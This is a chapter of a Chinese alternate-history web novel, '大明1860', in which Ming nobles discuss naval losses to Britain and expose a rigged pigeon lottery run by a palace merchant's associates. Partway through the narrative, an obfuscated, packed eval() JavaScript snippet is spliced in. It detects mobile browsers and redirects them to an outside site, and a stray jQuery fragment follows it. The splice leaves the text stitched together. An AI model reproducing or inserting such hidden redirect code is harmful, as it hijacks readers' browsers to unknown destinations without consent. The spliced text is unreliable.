第五章局势

作品:《大明1860

    舒王府中,假山流水,鲤鱼轻跃,凉亭中几碟糕点色香俱全,但却不见人动分毫。


    璟州伯高起元兴致勃勃地谈论起了南洋局势,对于男人来说,政治是最好的话题:


    “二爷,自去年南洋水师大败,缅甸投敌后,世祖爷定下藩国屏边的金身怕是破了,英夷可直接威胁云南!”


    “杜首辅主战,林阁老主和,斗得旗鼓相当,热闹得紧!”


    说到这,高起元带着几分幸灾乐祸。


    没想到林则徐竟然主和缓战,朱敦汉追问道:


    “南洋水师到底多惨?大败又是怎个败法?”


    “这么说吧,战前南洋水师有船五十艘,五千料巨舰两艘,还有南洋诸藩国的联合水师,共计不下八千人,百艘船。”


    高起元叹道:“战败后,主力舰的三千料船就只剩下两艘,人也只有三千余,可谓是惨败呀!”


    “当然,这也是正常,西夷船坚炮利,英夷联合法夷,人还多两三千,炮更是超过了数百门,朝廷几十年没换炮了,上一回还是在高宗嗣德年间呢……”


    “不过,听闻英夷损失也不小,但到底还强过咱,朝廷紧急从南海水师和东海水师调船调人,但朝廷上下都清楚,船不坚炮不利,还是会输!”


    说着,高起元摊手道:“和谈就是为了挤时间,朝廷重建南洋水师,不得不谈。”


    “且,若是水师再败,朝廷在南洋两百年的威望,怕是会低至谷底了。”


    “不过,英夷不足为虑,只要朝廷重整旗鼓,获胜是必然的。”


    高起元此时满脸的自信,丝毫没有忧虑。


    朱敦汉默然。


    看着那游行,我还以为朝廷瞒着大家家伙,把南洋都丢了。


    不过这一仗南洋水师崩溃,南洋诸藩国的联合水师也损失惨重,确实很难抵挡英国人的继续进攻了。


    或许英国人不可能夺取南洋,但南洋藩国绝对会趁机闹腾,脱离朝廷的束缚。


    所以,朝廷不是怕英国人,而是怕南洋藩国乱起来。


    想想也对,大明盘踞半个亚洲,怎会怕英国人?


    或许是承认自己水师不行,但陆军绝对不怵。


    至今张口闭口就是英夷,法夷,而不是洋人,这就是四五百年的天朝上国自信吧!


    但朱敦汉做多了视频,比高起元等人更清楚,英国人的海军横行霸道,但龙虾兵却同样厉害,反法同盟英国人可是主力。


    工业国之所以强大,不止是武器,而在于其强大的动员能力。


    兵源,后勤保障,财政,武器生产。


    细细一捋,朱敦汉感觉到心惊胆颤,大明似乎都不占上风。


    这可是日不落帝国的维多利亚时代。


    高起元见舒王蹙眉思虑,心底却道:


    看来舒王的确浪子回头了,如今竟然对政治感兴趣了!


    奇哉,怪哉!


    接着聊,朱敦汉竟然听说在印度也有個藩国——锡兰国。


    “世祖时认其为建文后裔,故而封之为锡兰郡王,位列亲藩!”


    高起元摇头晃脑道:“据雍王上书,两年前印度爆发民乱,英夷就废黜了东印度公司,设立总督直接管辖。”


    “雍国之孟加拉,曹国之克什米尔,都被其挑衅,想要并入印度总督府。”


    “至于锡兰,孤悬海外,怕是第二个转投的藩国了!”


    “朝廷竟允许英夷吞并印度?”


    朱敦汉实在忍不住,都把手伸到印度半岛了,竟然没想再进一步,反而坐视英国人统一印度。


    高起元翻起白眼:“印度太远,翻山越岭的,就算是辛苦打下的土地也会分封藩国,朝廷不乐意。”


    “就算朝廷乐意,国库也不允许!”


    朱敦汉嘴唇动了动,没有说出话来。


    这就是分封的弊端吧,朝廷动力不足,也无法像英国那样捡东印度公司现成的。


    除了南洋外,二人接着又谈起了西北。


    “辽国控制其他五国,以为盟主不敬朝廷……”


    “满清嘛!”谈起这,高起元幸灾乐祸道:


    “显宗,高宗年间倒是威风,但几十年前被罗刹人的武则天打得七零八落,听说已经成了什么保护国,沦为打手了……”


    满清横跨黑海、里海,被叶卡捷琳娜大帝打得如此之惨,实让朱敦汉意外。


    八旗,看来是真的不行了。


    “你璟国公府在京城盘踞两百年,无有爪牙?”


    调整好情绪,朱敦汉手中把玩着一个巴掌大的玉器,慢悠悠地说道。


    这玩意,拟人狼头,有着四肢,脸上带着刀疤,一打眼,他知道是灰太狼。


    别看它搞笑,但却是世祖皇帝生前心爱之物,在宫廷保存多年,后被宣仁皇帝赏赐给了前代舒王。


    高起元盯着灰太狼,惊道:“爷,您小心些,这东西可贵重呢!”


    “听说你家也有?”朱敦汉饶有兴致道。


    “我家先祖被世祖喜爱,赏赐个娃娃,头顶个小葫芦,穿着黄色的短褂!”


    高起元摇头晃脑,骄傲道:“如今供在祠堂里,等闲不露面!”


    旋即,他又反应过来,思考


    着:


    “爪牙是有不少,但这事透着邪乎,说句冒犯的话,您虽然身份贵重,但又不是阁老,何必要刺杀您?”


    “你是说我不重要?”


    “不,我是说您很重要,但您一向与人为善,乐善好施,以德服人,谁能有动机杀您?”


    朱敦汉背靠椅子,仰着头,悠悠道:“这世道不安生呀,怕是我挡了谁的道吧?”


    高起元瞳孔一缩,然后又恢复如常了。


    他再次来回踱步,似乎是下定了某种决心,咬着牙一屁股坐下:“殿下,您要是不怕脏手,我这有一招!”


    “哦?”朱敦汉眉眼一挑:“事关本王的性命,就算是内阁首辅,老子也敢碰一碰!脏手算个甚?”


    ……


    赌坊外,不知何时立了个桌子。


    “各位,今日开票了呀!”


    桌面上,立着两个鸽笼,一个羊须的老汉吆喝着,几个魁梧大汉护持。


    霎时间,里面的赌坊一空,赌客们皆围上来。


    男女老少皆有,一个个神情激动,紧紧握着手中的票据,炯炯有神,眼珠子似乎都快瞪出来了。


    良久,忽见一大汉端来大木盘,上面满是纸团,就放在众人面前。


    老头嘿嘿一笑,打开了左边的鸽笼,放出里面的肥白鸽。


    然后,只见那鸽子走着来到一木盘中,对于数十个纸团熟视无睹,随意叼住个纸团而起。


    旁边的大汉则打开纸团,吆喝道:


    “第一个字,洪字——”


    一瞬间,就有近半赌客唉声叹气。


    旋即,鸽子再次叼起,大汉唱字:


    “第二字,玄——”


    “第三字,冬——”


    鸽子叼了十张,大汉就唱了十次。


    最后,多数人都唉声叹气,徒留下一个老姑婆大喊:“咦,我中了,我中了——”


    说着,她将自己的票据递上。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13631401|143570||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    老头看了一眼真伪,也不含糊,直接道:“没错,十中七,得十倍!”


    说着,他直接从怀中掏出了一块银圆。


    “我中了五字!”


    “我六字——”


    陆陆续续又有几人喊着,老头则一个不落地给钱,之后才嘿嘿笑道:


    “诸位尽可再买,这玩意是老天爷的安排,老夫绝不食言——”


    酒楼上,朱敦汉把玩着灰太狼,目不转睛地盯着:“这就是字摊?”


    “没错!”高起元不屑道:


    “庄家从千字文挑出几十个字来,再让训练好的鸽子去叼字,十字全中即三十倍;十中七以上则是十倍;十中六是三倍,中五则是两倍!”


    “如若字序都对了,那就是一百倍!”


    “那些平民们天天为果腹奔走,却了勒紧裤腰带攒钱参与赌彩,殊不知,这一切都是庄家定好的……”


    听得这十九世纪的彩票,朱敦汉心道果然如此,坐庄的真是一脉相承。


    “去——”高起元对着一旁的随从使起眼色。


    很快,几人就悄摸而去,找向那老头,直接逼问。


    高起元解释道:“这间赌坊和字摊,都是一个叫封余秀的聚集一些光棍开起来的。”


    “而他的身份,则是内务府皇商章文镜的奶兄弟!”


    此时的光棍,与后世不同,是地痞流氓的统称,即“不务生业,三五成群,白昼在街撒泼,殴打平人,抢夺财物,及打搅纳户人等取财之人。”


    似乎看到舒王的疑惑,高起元再次解释道:“章家承办了西山煤矿,在京中又有许多当铺、钱庄,赌坊,与三教九流都有联系。”


    “官面上行不通,那只能走走章家的门路了。”


    不消片刻,封余秀就被在妓院找到,在一阵合理的说服后,他引着众人来到了一间别院。


    “封爷,您怎么来了?”


    封余秀鼻青脸肿地来到别院,面对仆从的问询,他冷着脸道:“老爷在吗?”


    “在内院呢!”


    入院,方脸男人抱着暴露的外室正调戏着,见着他这样,忍俊不禁:“封二,你小子怎么了?”


    封余秀直接单膝下跪,哭丧着脸道:“老爷,有个蛮横的家伙想要我引荐给您,小的不从,挨了不少揍,还骂您呢……”


    “哦?”章文镜眉头一皱:“既然知晓我身份还如此猖獗,怕是有恃无恐呀!”


    “可有凭证?”


    “在这呢!”封余秀一愣,他状还没告完呢,只能从怀中掏出了一道令牌。


    章文镜接手一瞧,一个高字印入眼帘。


    偌大的京城,姓高的,且不将他放在眼里,那就只有璟国公府了!


    “人呢?”他迫切道。


    “在门外的马车上!”


    章文镜迫不及待地出了门,哪管受委屈的奶兄弟。


    他抬眼一瞧,巷子中立着两个朴实无华的马车,几个魁梧大汉警惕地保护着,一看就来头不小。


    “高爷,是您吗?”


    章文镜走近马车,轻声问道。


    “上车吧!”高起元掀开一角车帘:“这里不是说话的地。”


    “诶!”章文镜干脆的应下,忙踏上马车。


    这时,一


    大汉忽然贴身,在他身上四处搜罗着,极其谨慎。


    章文镜心头不解,只能掀开车帘上车。


    岂料,他屁股刚落下,脑袋一抬起来,声音都变调了:


    “殿下——”


    “您在与高伯爷玩乐呢!”